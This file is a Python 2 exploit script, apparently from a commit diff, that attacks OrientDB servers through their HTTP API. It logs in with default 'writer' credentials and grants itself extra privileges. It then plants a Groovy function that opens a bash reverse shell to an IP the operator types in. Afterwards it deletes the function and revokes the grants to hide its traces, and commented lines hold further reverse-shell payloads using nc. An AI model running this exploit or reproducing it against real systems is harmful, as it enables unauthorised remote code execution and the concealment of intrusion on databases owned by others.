1
+ import sys
2
+ import requests
3
+ import json
4
+ import string
5
+ import random
6
+
7
+ target = sys .argv [1 ]
8
+
9
+ try :
10
+ port = sys .argv [2 ] if sys .argv [2 ] else 2480
11
+ except :
12
+ port = 2480
13
+
14
+ url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph" % (target ,port )
15
+
16
+
17
+ def random_function_name (size = 5 , chars = string .ascii_lowercase + string .digits ):
18
+ return '' .join (random .choice (chars ) for _ in range (size ))
19
+
20
+ def enum_databases (target ,port = "2480" ):
21
+
22
+ base_url = "http://%s:%s/listDatabases" % (target ,port )
23
+ req = requests .get (base_url )
24
+
25
+ if req .status_code == 200 :
26
+ #print "[+] Database Enumeration successful"
27
+ database = req .json ()['databases' ]
28
+
29
+ return database
30
+
31
+ return False
32
+
33
+ def check_version (target ,port = "2480" ):
34
+ base_url = "http://%s:%s/listDatabases" % (target ,port )
35
+ req = requests .get (base_url )
36
+
37
+ if req .status_code == 200 :
38
+
39
+ headers = req .headers ['server' ]
40
+ #print headers
41
+ if "2.2" in headers or "3." in headers :
42
+ return True
43
+
44
+ return False
45
+
46
+ def run_queries (permission ,db ,content = "" ):
47
+
48
+ databases = enum_databases (target )
49
+
50
+ url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph" % (target ,port ,databases [0 ])
51
+
52
+ priv_enable = ["create" ,"read" ,"update" ,"execute" ,"delete" ]
53
+ #query = "GRANT create ON database.class.ouser TO writer"
54
+
55
+ for priv in priv_enable :
56
+
57
+ if permission == "GRANT" :
58
+ query = "GRANT %s ON %s TO writer" % (priv ,db )
59
+ else :
60
+ query = "REVOKE %s ON %s FROM writer" % (priv ,db )
61
+ req = requests .post (url ,data = query ,auth = ('writer' ,'writer' ))
62
+ if req .status_code == 200 :
63
+ pass
64
+ else :
65
+ if priv == "execute" :
66
+ return True
67
+ return False
68
+
69
+ print "[+] %s" % (content )
70
+ return True
71
+
72
+ def priv_escalation (target ,port = "2480" ):
73
+
74
+ print "[+] Checking OrientDB Database version is greater than 2.2"
75
+
76
+ if check_version (target ,port ):
77
+
78
+ priv1 = run_queries ("GRANT" ,"database.class.ouser" ,"Privilege Escalation done checking enabling operations on database.function" )
79
+ priv2 = run_queries ("GRANT" ,"database.function" ,"Enabled functional operations on database.function" )
80
+ priv3 = run_queries ("GRANT" ,"database.systemclusters" ,"Enabling access to system clusters" )
81
+
82
+ if priv1 and priv2 and priv3 :
83
+ return True
84
+
85
+ return False
86
+
87
+ def exploit (target ,port = "2480" ):
88
+
89
+ #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
90
+
91
+ #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
92
+
93
+ func_name = random_function_name ()
94
+
95
+ print func_name
96
+
97
+ databases = enum_databases (target )
98
+
99
+ reverse_ip = raw_input ('Enter the ip to connect back: ' )
100
+
101
+ query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = \' bash -i >& /dev/tcp/' + reverse_ip + '/8081 0>&1\' ;File file = new File(\\ "hello.sh\\ ");file.delete();file << (\\ "#!/bin/bash\\ \\ n\\ ");file << (command);def proc = \\ "bash hello.sh\\ ".execute();","parameters":null}'
102
+ #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file << (\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute() ","parameters":null}'
103
+ #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
104
+ req = requests .post ("http://%s:%s/document/%s/-1:-1" % (target ,port ,databases [0 ]),data = query ,auth = ('writer' ,'writer' ))
105
+
106
+ if req .status_code == 201 :
107
+
108
+ #print req.status_code
109
+ #print req.json()
110
+
111
+ func_id = req .json ()['@rid' ].strip ("#" )
112
+ #print func_id
113
+
114
+ print "[+] Exploitation successful, get ready for your shell.Executing %s" % (func_name )
115
+
116
+ req = requests .post ("http://%s:%s/function/%s/%s" % (target ,port ,databases [0 ],func_name ),auth = ('writer' ,'writer' ))
117
+ #print req.status_code
118
+ #print req.text
119
+
120
+ if req .status_code == 200 :
121
+ print "[+] Open netcat at port 8081.."
122
+ else :
123
+ print "[+] Exploitation failed at last step, try running the script again."
124
+ print req .status_code
125
+ print req .text
126
+
127
+ #print "[+] Deleting traces.."
128
+
129
+ req = requests .delete ("http://%s:%s/document/%s/%s" % (target ,port ,databases [0 ],func_id ),auth = ('writer' ,'writer' ))
130
+ priv1 = run_queries ("REVOKE" ,"database.class.ouser" ,"Cleaning Up..database.class.ouser" )
131
+ priv2 = run_queries ("REVOKE" ,"database.function" ,"Cleaning Up..database.function" )
132
+ priv3 = run_queries ("REVOKE" ,"database.systemclusters" ,"Cleaning Up..database.systemclusters" )
133
+
134
+ #print req.status_code
135
+ #print req.text
136
+
137
+ def main ():
138
+
139
+ target = sys .argv [1 ]
140
+ #port = sys.argv[1] if sys.argv[1] else 2480
141
+ try :
142
+ port = sys .argv [2 ] if sys .argv [2 ] else 2480
143
+ #print port
144
+ except :
145
+ port = 2480
146
+ if priv_escalation (target ,port ):
147
+ exploit (target ,port )
148
+ else :
149
+ print "[+] Target not vulnerable"
150
+
151
+ main ()
0 commit comments